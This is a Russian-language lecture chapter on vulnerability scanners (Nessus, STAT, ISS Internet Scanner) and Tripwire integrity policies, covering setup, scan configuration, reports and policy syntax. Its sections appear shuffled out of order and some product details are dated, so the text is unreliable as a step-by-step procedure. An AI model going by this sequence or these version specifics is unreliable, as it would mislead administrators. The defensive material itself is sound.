Анализ конфигурации
Как и другие сканеры уязвимости, Internet Scanner дает возможность изучить, как происходит сканирование (используя команду Tools/Options). Вы также можете написать собственные тесты уязвимости или модули, которые называются FlexChecks. ISS не поддерживает свой собственный язык для написания скриптов; вы должны писать и компилировать эти программы самостоятельно. Программа также не поддерживает написанные вами FlexChecks. В приложении А документации по ISS (доступной по адресу http://documents.iss.net/literature/InternetScanner/is_userguide.pdf) можно получить дополнительную информацию по поводу написания FlexChecks. Кроме того, вы можете поддерживать списки профилей и словарей для ISS, чтобы использовать их при попытках подбора паролей для доступа в систему.
Другие утилиты Tripwire
Tripwire поставляется с несколькими утилитами: twprint, twadmin и siggen.
Twprint. Как уже упоминалось, у twprint два режима работы: утилиту можно использовать для распечатки любого файла отчета (-m r) или базы данных (-m d) в виде текстового файла.
Twadmin. Twadmin представляет собой интерфейс администратора для создания и просмотра конфигурационных файлов, создания и просмотра файлов политик, добавления или удаления шифрования в файлы и генерации новых ключей для шифрования.
Внимание. Вы никогда не должны использовать twadmin для создания файла политики после того, как был установлен начальный файл политики. Это приведет к тому, что база данных и файл политики будут несинхронизированы. Если у вас есть текстовый файл политики, вы можете импортировать его в Tripwire, применив режим обновления политики приложения Tripwire (tripwire -m p newpolicy.txt).
Siggen. Утилиту siggen можно использовать для отображения шифрованных сигнатур для любого файла. Эти шифрованные строки являются сигнатурами, которые использует Tripwire для сравнения содержимого файла и анализа. Tripwire поддерживает формат шифрованной строки вида Haval, SHA/SHS, MD5 и CRC32.
Инсталляция
Инсталляция демона Nessus может оказаться сложной. Он требует для своей установки наличия GIMP Toolkit (GTK) и nmap (см. лекцию "Сканеры портов"). Nessus можно загрузить в четырех отдельных пакетах: nessus-libraries, libnasl, nessus-core и nessus-plugins. Каждый пакет необходимо загрузить, скомпилировать и инсталлировать (обычно с помощью процедур configure, make, make install) в том порядке, как эти пакеты были перечислены. Nessus также поставляется в едином архиве (nessus-installer.sh), который включает все пакеты и обеспечивает для вас полную инсталляцию.
Internet Scanner
Еще один коммерческий сканер для удаленной работы - Internet Security Systems (ISS) - набор инструментов для сканирования, включающий Internet Scanner. Он осуществляет сканирование уязвимостей и ошибок конфигурирования в запускаемых вами приложениях. Он дорого стоит, но тестовые версии некоторых утилит доступны для загрузки по адресу: http://www.iss.net/download/.
Как большинство других сканеров, ISS поставляется с регулярно обновляемой базой данных методов аудита и тестов уязвимостей, которые могут быть выполнены при сканировании системы. Internet Scanner поддерживает те же основные функции, что и Retina, STAT и Nessus. Вопрос в том, делает ли он это лучше?
Использование отчетов
У STAT много форматов и параметров отчетов, доступных в меню Reports. Выберите формат, отметьте одно из проведенных сканирований, и STAT создаст отчет. На рис. 12.15 показан отчет Executive Summary.
Вы можете распечатать отчет, или экспортировать его в какой-либо из файлов, включая форматы Excel, CSV (comma-separated value), Crystal Reports, HTML, MS Access, Word или даже простой текст.
Если вы щелкните на Reports/Compare Scan Results, то сможете увидеть список проведенных сканирований. В этом диалоге вы можете выбрать несколько сканирований и создать отчет, сравнивающий результаты сканирования. Это позволяет анализировать изменения, которые произошли от одного сканирования до другого.
увеличить изображение
Рис. 12.15. Отчет Executive Summary
Использование Tripwire Manager
Tripwire Manager, показанный на рис. 12.27, взаимодействует с каждым коммерческим Tripwire-сервером с помощью утилиты twagent. Это позволяет вам распространять сервера и обновлять политики и базы данных из одного места.
На Windows-машинах twagent запускается в качестве службы, и его можно запускать и останавливать из панели управления или с помощью средств администрирования. На Unix-машинах twagent представляет собой программу, запускаемую из командной строки. Вы можете запускать и останавливать ее, используя команды twagent -start и twagent -stop.
увеличить изображение
Рис. 12.27. Главное окно Tripwire Manager
Добавление сервера Tripwire. Когда вы установили на машине Tripwire Server и запустили службу twagent, машина становится узлом Tripwire. Вы можете добавить узел в Tripwire Manager и в главном окне Tripwire Manager, выбрав Action/Add Machine и открыв диалоговое окно Add Machines, приведенное ниже. Здесь вы задаете IP-адрес узла и порт, который будет прослушивать twagent. Вам также понадобится ввести секретную фразу для консоли Tripwire Manager (заданную в процессе установки Tripwire Manager), а также общую и локальную секретные фразы для машины, которую вы добавляете.
Вы также можете импортировать машины из текстового файла, который содержит значения, разделенные запятой. Для этого достаточно щелкнуть на кнопке Import. Пример файла для импорта представлен ниже. Здесь 192.168.1.1 - IP-адрес узла Tripwire, а 1169 - TCP-порт, который прослушивает twagent.
"Name","192.168.1.1","1169","Memo","site_password","local_password"
Редактирование файлов политики. Вы можете просматривать и изменять файлы политик для всех ваших Tripwire-серверов, используя Tripwire Manager. Выберите машину из списка Machine List в главном окне Tripwire и щелкните на значке Edit Policy. Вы увидите окно, похожее на рис. 12.28.
увеличить изображение
Рис. 12.28. Редактирование файлов политики
Вы уже знакомы с синтаксисом файла политики, но вы можете использовать Tripwire Manager, чтобы создать один файл политики для всех ваших операционных систем (воспользовавшись директивой "Section", о которой упоминалось в разделе "Директивы") и распространить этот файл по всем вашим серверам, щелкнув на значке Distribute File.
Графический интерфейс для Tripwire. Все хорошее, что есть в бесплатной версии Tripwire, унаследовано и в коммерческом продукте, но с использованием удобного единого интерфейса. Выбрав все машины в списке, можно быстро запустить интегральную оценку на всех серверах (см. рис. 12.29), обновить базы данных, обновить политики и все остальное. Tripwire Manager имеет возможность задать расписание работы, чтобы агенты могли выполнять сканирование самостоятельно, по расписанию, обеспечивая контроль из одной точки, вместо настройки утилиты cron или Windows Scheduler на каждой машине.
На рис. 12.29 показаны результаты интегральной оценки, выполненной агентом Tripwire Agent #3. Tripwire Manager не только облегчает управление службами, но может создавать сводный отчет, более подробный, полный и понятный, чем его Unix-аналог. Перебирая различные закладки (Reports, Objects, Summary и Violations), вы можете просматривать отчет различными способами.
увеличить изображение
Рис. 12.29. Результаты интегральной оценки
Конфигурирование политики
Выбрав политику, мы можем просмотреть параметры в специальном редакторе Policy Editor. Выберите Choose Policy/Edit Current, чтобы открыть окно Policy Editor, которое показано на рис. 12.18.
увеличить изображение
Рис. 12.18. Окно Policy Editor
Наиболее сложно в использовании Internet Scanner - это понять, что вы перед собой видите. Вы можете потратить часы, изучая различные типы тестов и приемы получения информации. Вы можете даже выбрать различные представления конфигурации вашей политики.
На рис. 12.19 показан тот же редактор политик Policy Editor, но в другом представлении. Выбрав Risk View из ниспадающего списка вверху, вы можете перестроить список уязвимостей в порядке убывания риска, в отличие от стандартной организации по категориям на рис. 12.18.
увеличить изображение
Рис. 12.19. Вид редактора Policy Editor в конфигурации по уровню риска
Редактор политик в обязательном порядке заставляет вас выбрать тип тестов уязвимости, который вы хотите включить в сканирование. Вы можете щелкнуть на поле выбора, следующем за списком элементов, чтобы включить или отключить конкретный тест. Вы также можете отключить целую группу тестов. Если вы хотите отключить сканирование всех уязвимостей среднего уровня, вы можете щелкнуть в окне рядом с полем Medium (304) на левой панели, показанной на рис. 12.19, чтобы очистить поле. Так будут отключены все 304 теста со средним уровнем риска. Вновь щелкнув, можно заново задействовать 304 теста уязвимостей со средним уровнем риска.
Как только вы закончили модификацию политики, щелкните на значке с диском для сохранения политики или просто закройте Policy Editor (он должен спросить, хотите ли вы сохранить сделанные изменения). С этого момента вы должны вернуться в главное окно ISS.
Начало сканирования
Мы настроили параметры по умолчанию, используя конфигурационный DAT-файл QuickScan.dat, и сканируем две системы. Выбрав машины для сканирования, вы должны вернуться в главное окно STAT Scanner (рис. 12.9). Машины, которые вы выбрали в процессе поиска, теперь отображаются в левой части панели. Выберите все системы, которые вы хотите просканировать. Выберите Analysis/Perform An Analysis, чтобы начать сканирование. В окне STAT Scanner, показанном на рис. 12.13, вы можете увидеть результаты сканирования. По умолчанию уязвимости сортируются в соответствии с фактором риска. Вы можете быстро просмотреть, какие из них можно исправить с помощью функции AutoFixes.Щелкните дважды на конкретной показанной уязвимости и вы сможете получить дополнительную информацию, как это видно на рис. 12.14. Это окно предоставляет информацию, которая может вам помочь принять решение о дальнейших действиях. Помните, что даже если большинство сообщений в отчете STAT говорят о проблемах, которые должны быть устранены, многие из предупреждений с низким уровнем риска, которые выдает STAT, являются просто наведенными из-за особенностей конфигурации и политики безопасности. Иногда они могут быть всего лишь ложной тревогой.Перед тем как вы попытаетесь устранить любую из уязвимостей, о которых сообщил STAT, убедитесь, что это не нарушит деятельности выполняемых приложений. К примеру, STAT может предупредить вас о том, что работает IIS, и он должен быть остановлен, если в нем нет необходимости. Но если вы запустили Web-сервер на этой машине, вы можете игнорировать это сообщение. Тем не менее, если STAT сообщает вам о том, что у IIS есть опасность переполнения буфера, и он должен быть немедленно обновлен с использованием соответствующих заплаток, то это сообщение относится к таким, на которые следует реагировать достаточно быстро. Также будьте внимательны к сообщениям STAT, касающимся системного реестра. Некоторые изменения в системном реестре могут привести к нежелательному эффекту, поэтому, исправляя их, вы должны быть уверены, что это не повлияет на работу ваших приложений.
Как только вы определите, что вам необходимо устранить уязвимость, щелкните на кнопке AutoFix, если она доступна, или следуйте инструкции по решению проблемы, которая отображается в окне дополнительной информации (см. рис. 12.14), чтобы устранить проблему самостоятельно.
увеличить изображение
Рис. 12.13. Результаты сканирования
Щелкните на кнопке Retest, после того как вы устраните уязвимость, чтобы убедиться в том, что это действительно выполнено.Примечание. STAT несовершенен. Иногда он поднимает ложную тревогу. Иногда вы можете устранить уязвимость, а STAT по-прежнему будет выдавать сообщение о ней, даже если вы знаете о том, что заплатка установлена. STAT действует, как помощник, а не как руководство по пошаговому устранению проблемы. Как и с другими утилитами, опирайтесь на здравый смысл в работе со STAT.
увеличить изображение
Рис. 12.14. Информация об уязвимости
Поскольку вы управляете сканированием, STAT сохраняет историю каждого сканирования (как и историю каждого факта использования AutoFix). Это позволяет вам проследить, что вы сделали, и когда это было сделано, а также позволяет сравнить результаты сканирования, чтобы определить, когда были исправлены определенные уязвимости.
Настройка STAT
Так же как и для Nessus, вам необходимо сконфигурировать набор тестов, которые вы собираетесь использовать. STAT поставляется с несколькими сконфигурированными файлами DAT, которые содержат наборы видов уязвимостей, для которых вы можете выполнять сканирование. Вы можете использовать DAT-файлы для сканирования уязвимостей заданного уровня опасности, конкретные операционные системы или типы уязвимостей. Вы можете выбрать конфигурационный файл для сканирования, выбрав в меню STAT Configurations/Load Configuration From File. Вы можете увидеть это окно на иллюстрации.
Файл QuickScan.dat подходит, если вы хотите найти более серьезные проблемы. Если вас интересует только проверка системных политик (профили пользователей, дата истечения срока действия пароля, и т.д.), используйте файл Policy.dat. Каждый DAT-файл имеет содержательное название, чтобы помочь вам выбрать наиболее подходящий для решения поставленных задач.
Вы можете создать свой собственный конфигурационный файл, используя один из имеющихся DAT-файлов в качестве шаблона. Следует выбрать Configurations/Edit Configuration From File, чтобы открыть окно, показанное на рис. 12.10.
В окне Editing вы можете просмотреть все доступные тесты и решить, какие из них использовать. Выбрав соответствующий тест, вы можете просмотреть справочную информацию в нижней части окна. Тест может быть перемещен из списка доступных (и наоборот) в список используемых с помощью кнопки со стрелками. Сделав свой выбор, вы можете сохранить свою конфигурацию, как пользовательский DAT-файл, для дальнейшего использования, воспользовавшись кнопкой Save.
увеличить изображение
Рис. 12.10. Вы можете самостоятельно настроить конфигурацию
Вы также можете управлять некоторыми другими параметрами сканирования, такими как политика входа в программу и пароли, стандарты политики аудита Windows, временные параметры сканирования (задержка, параллельное выполнение), особенности формата отчета и другие настройки. Все эти настройки доступны по команде Edit/Options, как это показано на рис. 12.11.
Примечание. В диалоговом окне Options, показанном на рис. 12.11, вы можете увидеть параметр, позволяющий прекратить сканирование машины после того, как будет обнаружено заданное количество уязвимостей. Это не означает, что машина будет пропущена после того, как будет обнаружено 20 уязвимостей (т.е. если уязвимостей больше 20). Ошибка в данном случае обозначает, что тест на уязвимость проверяет собственный код возврата. Возможным доводом в пользу этого типа ошибки могут быть недостаточные возможности авторизации или нарушенное сетевое соединение.
Наша последняя задача перед запуском сканирования - выбрать цель. Когда выбираются машины для сканирования в главном меню STAT (Machines/Select Machines), вы можете увидеть диалоговое окно, похожее на рис. 12.12. Вы можете выбрать или интервал IP-адресов, или назначить Windows Network Discovery, щелкнув на кнопке с соответствующим названием. Параметр Windows Network Discovery позволяет автоматически найти в сети другие машины с конкретной операционной системой. Это лучше всего работает в Windows-домене, когда есть возможность найти все компьютеры, использующие NetBIOS поверх TCP (NBT). Если вы сканируете смешанную среду, то лучше использовать кнопку IP Range Selection.
Рис. 12.11. Выбор других параметров сканирования в диалоговом окне Options
После того как машины найдены (или с помощью Windows Discovery, или используя метод IP Range), вам следует выбрать, какие из найденных машин сканировать. Любые хосты, которые подвергаются изучению, отображаются в левой части диалогового окна (см. рис. 12.12). Чтобы выбрать конкретный хост, щелкните на значке, изображающем этот хост, который располагается за кнопкой. Для сканирования всех хостов, щелкните на кнопке ALL. Вы можете перемещать хосты между двумя списками, пользуясь кнопками с изображением стрелок в средней части окна.
Если вы выбрали машины для сканирования с неизвестными или неподдерживаемыми операционными системами, STAT выдаст об этом сообщение.
STAT может сканировать машины, на которых установлены операционные системы Windows NT, 2000 и XP, RedHat Linux и Solaris. На рис. 12.12 мы выбрали для сканирования Linux и Windows 2000 машины, которые были обнаружены в процессе предыдущей сессии (что объясняет, почему мы не видим их в списке в левой части экрана).
увеличить изображение
Рис. 12.12. Выбор целей для сканирования
Чтобы начать сканирование этих систем, нам необходимо задать аутентификационную информацию для систем, щелкнув на кнопке Configure. По этой команде открывается диалоговое окно Authentication, показанное на иллюстрации ниже.
Обратите внимание, что для Windows-машин вы можете пропустить шаг аутентификации, если вы сканируете машины, для которых вы вошли в систему, как администратор домена. В противном случае, вы можете задать в диалоговом окне аутентификации значения для профиля администратора. STAT соединяется с Windows-системами, используя net use (о которой говорилось в лекции "Система X Window"). Если вы соединяетесь с Unix-системой, STAT потребуется пользовательская информация для доступа к машине; это не обязательно должна быть информация о пользователе root. STAT может поддерживать SSH-соединение с машиной, которая подвергается сканированию.
Примечание. STAT требуется доступ к сканируемой системе, поскольку множество уязвимостей рассматриваются, как локальные, которые не могут быть протестированы удаленно. Это может быть несколько утомительно, но зато предохраняет одних людей от выполнения неавторизованных сессий сканирования на машинах других людей.
Как только вы определите цель сканирования, щелкните на кнопках Save и Close в окне Machine List (см. рис. 12.12).
Nessus
Программа Nessus представляет собой удаленный сканер уязвимостей, свободно доступный для загрузки по адресу http://www.nessus.org/. Программа обеспечивает эффективную чистку систем в вашей сети от известных ошибок конфигурации сети и уязвимостей приложений. В этой лекции мы сосредоточимся на версии 1.0.10 программы, а также обсудим версию 1.2.0, которая скоро будет выпущена. В Nessus 1.2.0. добавлены возможности типа поддержки SSL, оптимизации проверки уязвимостей и возможность сохранения сессии.
Nessus - клиент-серверное приложение. Сервер nessusd запускается под управлением Unix и выполняет черную работу, сохраняя информацию о различных тестах уязвимости и выполненном сканировании. Он имеет собственную пользовательскую базу данных и метод безопасной аутентификации, так что удаленные пользователи, использующие клиент Nessus (Unix- или Windows-версии) могут войти, настроить сканирование уязвимостей и установки соответствующих режимов.
Создатели Nessus разработали соответствующий скриптовый язык (называемый Nessus Attack Scripting Language, или NASL) для использования в рамках приложения. В Nessus сканирование каждой из уязвимостей строится на основе отдельного встраиваемого модуля, написанного на NASL. Такая модульная архитектура позволяет легко добавлять процедуры сканирования уязвимостей (и, возможно, тестов на взлом), как только будут обнаружены новые виды уязвимостей. Сообщество Nessus поддерживает собственную базу уязвимостей, обновляемую ежедневно, и они предлагают простой скрипт (nessus-update-plugins), который вы можете запустить еженощно (поместив в директорию cron) для автоматического обновления базы встраиваемых модулей.
Примечание. Cron - Unix-утилита, которая считывает список команд (называемый crontab) и запускает эти команды в заданное время. Эта утилита предустановлена в Unix. Синтаксис для настройки crontab выходит за рамки этой книги, но большинство Linux-систем предоставляют вам директории в /etc/, такие как cron.daily, cron.weekly и cron.monthly.
Вы можете написать короткий shell-скрипт, содержащий команды, которые вы хотите выполнить вместе с соответствующими параметрами и поместить этот скрипт в соответствующую директорию (например, в cron.daily, если вы хотите, чтобы скрипт выполнялся каждую ночь). Вы можете узнать больше о cron и crontab, посмотрев в справочную систему Unix.
Nessus - интеллектуальная программа: он может распознать службу, запущенную на другом порту, отличном от стандартного номера порта, который предусмотрен в Internet Assigned Numbers Authority (IANA). Если у вас есть Web-сервер, запущенный по порту 8888, Nessus может найти его и попытаться протестировать с помощью CGI-теста. С другой стороны, если Nessus не может найти ни одного Web-сервера в системе, которую он сканирует, он пропустит для этой системы все тесты для Web-сервера и CGI-тесты.
Nessus отличается тщательностью, так как многие встраиваемые процедуры не только сканируют систему на наличие уязвимостей, но и пытаются осуществить взлом уязвимостей и составляют об этом соответствующий отчет. Иногда такая деятельность может быть немного опасна, поскольку удачный взлом может привести к краху сканируемой системы или к потере данных. Тем не менее, поскольку Nessus дает полное описание того, как тестируется та или иная уязвимость, вы можете принять решение о том, какие тесты не следует применять.
В отличие от многих свободно распространяемых Unix-утилит, Nessus составляет необычайно подробные отчеты, хорошо построенные и доступные в различных выходных форматах, таких как plain text, HTML и LaTeX. Программа различает события в области безопасности по классам от замечания (notes) до предупреждения (warnings) и дыр (holes), каждый из которых разбивается по уровням от низкого (Low) до очень высокого (Very High).
Обеспечение безопасности ваших файлов с использованием Tripwire
Какие файлы следует просматривать с помощью Tripwire? Вы должны регулярно обращать внимание на все файлы, которые не должны изменяться. Это наиболее важные системные программы (ls, df, login и cmd.exe), библиотеки и DLL, конфигурационные файлы (/etc/inetd.conf, /etc/ passwd и Windows-файлы system.dat и user.dat). Вы также можете проверять файлы, которые должны изменяться предсказуемым образом. Например, следует быть уверенным, что системные журналы постоянно увеличиваются (и никогда не уменьшаются). Следует следить за тем, что никто из ваших пользователей не получил полного доступа (на чтение/запись) к вашей домашней директории, проверяя полномочия доступа в директории /home/*.
Когда вы первый раз воспользуетесь Tripwire, хорошо будет начать с большой базы файлов. Возможно, вы получите слишком много ложных сообщений, но, после того как вы просмотрите отчет Tripwire и проанализируете файлы, которые были изменены, вы сможете понять, как создать оптимальную базу данных, которая осуществляет мониторинг только серьезных изменений.
Пример из жизни. Латание дыр
Новый квартал. Вас приняли на работу в маленькую начинающую компанию, занимающуюся интернет-технологиями в качестве менеджера по сетевой безопасности. Эта компания выполняет Web-хостинг и хостинг приложений для небольших и средних компаний. Они имеют внутреннюю сеть, объединяющую различные регионы США. Сеть использует VPN-оборудование. Кроме того, у них есть клиентские сети, которые они поддерживают и у себя, и на местах. Они используют различные операционные системы и платформы, включая Windows NT, Windows 2000, Linux, FreeBSD, IRIX, Solaris и HP-UX. У них 50 серверов и 100 рабочих станций. Сетевой менеджер компании дал вам карту этих различных сетей, указав типы машин, операционных систем, сетевых местоположений и целей. Менеджер департамента интернет-технологий сказал вам, что ваша первая задача - "залатать дыры". Он велел найти любые области уязвимости и работать с соответствующими департаментами, чтобы заделать дыры до конца месяца. Без дополнительной помощи (и, естественно, бюджета) вы берете свою карту сети и свой надежный портативный компьютер и садитесь планировать свою стратегию.
Сканирование с помощью Nessus. После изучения многих автоматизированных средств сканирования, которые могут помочь вам при решении задачи, вы понимаете, что большинство из них являются коммерческими продуктами. Поскольку вам не предоставили никакого бюджета для реализации проекта, вы знаете, что придется оценить эти коммерческие продукты и предложить рентабельное решение. К счастью, вы знаете одно бесплатное средство, которое может подсказать, насколько дырявыми являются системы вашей сети в действительности. Вы загружаете, компилируете и инсталлируете Nessus на своем надежном компьютере с двойной загрузкой Win2K/Linux, и начинаете собирать IP-адреса хостов в один файл. Вы решаете начать с серверов, а рабочие станции оставить на потом.
Непосредственно перед началом сканирования вы просматриваете модули, чтобы понять, что нужно, а что не нужно проверять. Вы решаете отключить проверку на DoS, и оставить ее на промежуточное сканирование. Вы дважды проверяете свои значения и начинаете сканирование. Поскольку вы знаете, что это займет большую часть дня, то у вас есть масса времени, чтобы начать оценку некоторых из коммерческих приложений. Завершив сканирование Nessus и сравнение, что он может сделать с тем, что могут сделать некоторые коммерческие продукты, вы можете направить предварительный отчет менеджеру по интернет-технологиям.
Глубоко копаем безопасность Windows. Вы загружаете копию STAT Scanner Discovery Edition, зная, что сможете сканировать только ограниченный набор уязвимостей. Но, по крайней мере, вы получите представление, насколько функционален данный коммерческий сканер. Сначала вы замечаете, что STAT работает только с вариантами RedHat Linux и Solaris Unix. А поскольку у вас используются несколько операционных систем FreeBSD, IRIX и HP-UX, то вы видите, что STAT не даст полной картины. Но когда вы запустите его на локальных Windows-серверах своего домена, то получите сведения обо всех типах "старушек", которые Nessus найти не смог, включая практику регистрации и пароля, неправильную конфигурацию реестра и другие, относящиеся к Windows вопросы. Теперь вы уверены, что вам необходимо приобрести какой-либо коммерческий сканер в дополнение к Nessus. Но следует проверить и другие доступные продукты, чтобы принять более обоснованное решени е.
Необходимое вам верное средство. После предварительного изучения STAT вы понимаете, что не сможете найти и залатать столько дыр, сколько требуется (особенно службы Windows, регистрационные записи и практические неправильные конфигурации), если не выложите немного денег. Вы радуетесь, что можете бесплатно воспользоваться приложением Nessus для общего удаленного сканирования и STAT for Windows для внутреннего и внешнего сканирования. Это должно закрыть большинство дыр. Вы можете также рекомендовать системным администраторам подписаться на рассылку обновленных редакций безопасности для своих конкретных операционных систем, чтобы закрыть все, что сканеры могли упустить.
Однако вы до сих пор не испытали один из наиболее популярных на рынке сканеров на уязвимость: комплект продуктов ISS. Поскольку вы хотите быть настолько доскональным, насколько возможно, вы загружаете тестовую версию средства Internet Scanner. Даже если вы можете использовать его только на своей машине, вы понимаете, что оно может обнаружить больше уязвимостей, чем Nessus или оценочная версия Retina. Нужно только помнить, что средство проверки системы не всегда точно сообщает об уязвимостях. То, что ISS сообщает о большем числе уязвимостей, не означает, что оно лучше, особенно, если некоторые из этих уязвимостей на самом деле ложные. У ISS также огромное число характеристик конфигурации и опций применения, безопасности и отчетов. Может для кого-то это и хорошо, но оптимизация этого средства для вас сложна, потому что здесь слишком много опций, которые нужно изучить и учесть. Этого потенциально излишнего содержания может оказаться больше, чем вам нужно для текущей работы.
Просматривая некоторые из уязвимостей, найденных в вашей системе, вы понимаете, что это средство выявило множество проблем, тех же, что и STAT. Теперь время поджимает. Вы знаете, что нужно больше, чем бесплатные приложения, чтобы хорошо выполнить работу. Вам нужно подготовить предложения менеджеру по интернет-технологиям, сравнивая решения Nessus и STAT с решением ISS, и решить, что будет лучше по фактору соотношения цена-качество.
<
Поддержание тестов на уязвимость в актуальном состоянии
Как уже упоминалось, модули Nessus обновляются ежедневно по мере обнаружения новых уязвимостей. Nessus поставляется со скриптом Nessus-update-plugin, который может автоматически скачивать и устанавливать модули с сайта http://www.nessus.org. Вы можете поместить это приложение в состав заданий демона cron, поскольку оно не требует никакой входной информации на старте. Таким образом, у вас будут наиболее свежие тесты для сканирования.
Представление о файлах политики Tripwire
Файлы политики определяют для Tripwire, что следует и чего не следует искать. Обычно это шифрованные файлы в двоичном формате, но вы можете воспользоваться командой twadmin -m p current- policy.txt, чтобы сохранить текущий двоичный файл политики в текстовом формате и отредактировать его. Синтаксис текстового файла может оказаться весьма сложным для понимания. Он содержит определения переменных и определения правил. Каждое правило содержит две главные части: имя файла или директории и маску свойств. Ниже приведена часть примера файла политики.
/bin/login -> $(SEC_CRIT) ; /bin/ls -> $(SEC_CRIT) ; /bin/mail -> $(SEC_CRIT) ; /bin/more -> $(SEC_CRIT) ; /bin/mt -> $(SEC_CRIT) ; /bin/mv -> $(SEC_CRIT) ;
Обратите внимание, как имя файла или имя объекта отделяется от маски свойств символом -. SEC_CRIT представляет собой переменную, определенную в начале файла, которая задает разрешенную маску свойств. Обратите также внимание, что каждое правило завершается точкой с запятой (;).
Разрешенная маска свойств. Маски Tripwire управляют тем, какие свойства проверяются в каждом файле. Свойства, обозначенные знаком (+), проверяются, обозначенные знаком (-) - нет. Свойства, которые не обозначены соответствующим знаком, предположительно могут быть проверены. В этом случае все свойства, которые не включены в командную строку, игнорируются. В таблице 12.2 показаны описания каждого свойства.
a | Последнее время доступа. |
b | Блоки с выделенной памятью. |
c | Создать/изменить время. |
d | Устройство ID, на котором находится inode. |
g | Групповой ID владельца файла. |
i | Номер inode. |
l | Файл с разрешенным увеличением размера (хорош для чего-либо из /var/log). |
m | Модификация отмены времени. |
n | Контрольный счет inode (число связей). |
p | Разрешение на чтение/запись/исполнение файла и режима (setuid, setgid). |
r | Указание inode на устройство ID (для устройств только /dev). |
s | Размер файла. |
t | Тип файла (текстовый, данных, исполнимый). |
u | Пользовательский ID владельца файла. |
C | Шифрованная строка по методу CRC32. |
H | Шифрованная строка по методу Haval. |
M | Шифрованная строка по методу MD5. |
S | Шифрованная строка по методу SHA/SHS. |
Например, выполняя команду tripwire -m c -i "p,s,u", мы сообщаем Tripwire, что необходимо выполнить интегральную оценку для всех файлов, но при этом игнорировать все изменения полномочий доступа, размеров файлов или пользовательских идентификаторов владельцев файлов.
Если вы хотите произвести проверку содержимого шифрованной строки MD5, размера файла, полномочий доступа и пользователя/группы владельца файла, то нужно воспользоваться командой:
/home/myfile -> Mspug
Эту команду также можно написать так:
/home/myfile -> +Mspug-abcdilmnrtCHS
Чтобы сделать жизнь проще, Tripwire поставляется с несколькими заранее заданными переменными, которые можно использовать для определения маски свойств. Они приведены в таблице 12.3.
Вы также можете задать свою собственную маску свойств в файле политики. Помните, что переменная SEC_CRIT, о которой мы упоминали в начале этого раздела, представляет собой маску свойств и определяется следующим образом:
SEC_CRIT = $(IgnoreNone)-SHa
Любые правила, которые используют маску свойств SEC_CRIT, будут проверять все свойства, за исключением SHA hash, Haval hash и времени последнего доступа к файлу.
ReadOnly | +pinugtsdbmCM-rlacSH | Следит за полномочиями, inode, ссылками на inode, правом владения, типом файлов, размером файлов, устройством ID, используемыми блоками, модификацией отметок времени, а также ненужной информацией CRC32 и MD5. Хороша для файлов, которые не должны изменяться. |
Dynamic | +pinugtd-srlbamcCMSH | Следит за разрешениями, inode, ссылками на inode, правом владения, типом файлов, устройством ID. Не следит за размером, отметками времени или ненужной информацией. |
Growing | +pinugtdl-srbamcCMSH | Следит за тем же, что и Dynamic, но проверяет, что этот файл только увеличивается. Если файл внезапно становится меньше, то Tripwire привлечет ваше внимание. Хороша для файлов протоколов. |
Device | +pugsdr-intlbamcCMSH | Следит за разрешениями, правом владения, размером файлов, устройством ID и устройствами, на которые указывает inode. Хороша для файлов устройств. |
IgnoreAll | -pinugtsdrlbamcCMSH | Следит только за наличием файла, а не его свойствами. |
IgnoreNone | +pinugtsdrlbamcCMSH | Следит за всеми свойствами файла. |
Некоторые правила с использованием переменной маски свойств можно посмотреть здесь:
/var/log/messages -> $(Growing); /dev/fd0 -> $(Device); /home/jdoe/.netscape -> $(IgnoreAll); /etc/inetd.conf -> $(ReadOnly);
Атрибуты правил. Атрибуты правил могут относиться к отдельным правилам или группам правил, как это показано в таблице 12.4.
rulename | Присваивает имя правилу или группе правил. Помогает в подразделении ваших правил и упрощает понимание при просмотре резюме отчетов по проверке целостности. |
emailto | Если проверка на целостность Tripwire проводится с опцией -email-report, то где бы правило с этим признаком не запускалось, будет послан e-mail на заданный список e-mail-адресов. Несколько e-mail-адресов должны быть разделены точкой с запятой и заключены в двойные кавычки. |
severity | Задает уровень строгости правила или группы правил. Значения могут варьироваться от 0 до 1000000. Это позволяет использовать Tripwire для сканирования только на определенный уровень серьезности нарушения правил. Вы можете задать значащие имена переменных для уровней строгости (т.е. medium=50). |
recurse | Сообщает Tripwire, должен ли он сканировать все вложенные директории в директории (значение true), или он не должен сканировать ни в каких вложенных директориях (значение false), или же он должен сканировать только на определенную глубину вложенных директорий (числовое значение). |
/var/log/messages -> $(Growing) (rulename = Log, severity = 10); /etc -> $(ReadOnly) (rulename = Etc, recurse = 2); (rulename = Bin, severity = 100, recurse = false, emailto="root;bob@home") { /bin/cat -> $(IgnoreNone)-SHa ; /bin/date -> $(IgnoreNone)-SHa ; /bin/dd -> $(IgnoreNone)-SHa ; /bin/df -> $(IgnoreNone)-SHa ; }
Мы создали правило с названием "Log" с уровнем опасности 10 для файла /var/log/messages. Правило использует маску свойств Growing, которая показывает, что Tripwire проверяет такие свойства, как владельца файла, полномочия доступа и изменение размера. Правило "Etc" использует рекурсивный атрибут, чтобы указать программе на необходимость в процессе интегральной оценки просматривать файловую систему только на глубину двух директорий и использовать маску свойств ReadOnly. Правило "Bin" объединяет несколько тестов с уровнем опасности 100. Правила тестирования для четырех важных Unix-приложений для проверки изменений всех свойств за исключением SHA-строки, Haval-строки и времени последнего доступа. Если любой из этих тестов обнаружит изменение свойств, то по адресу пользователя root и bob@home будут посланы уведомления по электронной почте.
Совет. Помните флаг -R для режима интегральной оценки (-mc)? Вы можете включить этот параметр, чтобы обозначить необходимость использования только конкретных правил. К примеру, команда tripwire -m c -R Bin может быть использована в случае, если необходимо выполнить проверку по правилу "Bin".
Специальные правила: точки останова. Если вы хотите сканировать директории, но пропускать отдельные файлы, то можете использовать специальные правила, которые называются точками останова (stop points), чтобы игнорировать эти файлы. Точки останова представляют собой просто имена файлов или директорий, следующие за восклицательным знаком:
/etc -> $(ReadOnly); !/etc/dhcpd.leases; !/etc/motd;
Это правило говорит о необходимости убедиться, что в директории /etc все файлы имеют свойства "только для чтения", за исключением файлов /etc/dhcpd.leases и /etc/motd.
Директивы. Наконец, файл политики может содержать директивы, которые позволяют вам распечатывать диагностические сообщения в случае, когда при проверке достигнуты определенные разделы файла политики, или осуществляется проверка определенных свойств хоста.
Смысл в том, что один и тот же файл политики может быть использован на различных платформах и операционных системах. Это полезно, когда вы обдумываете преимущества коммерческой версии Tripwire, которая кратко обсуждается в разделе "Реализация: коммерческая версия". Доступные директивы перечислены ниже.
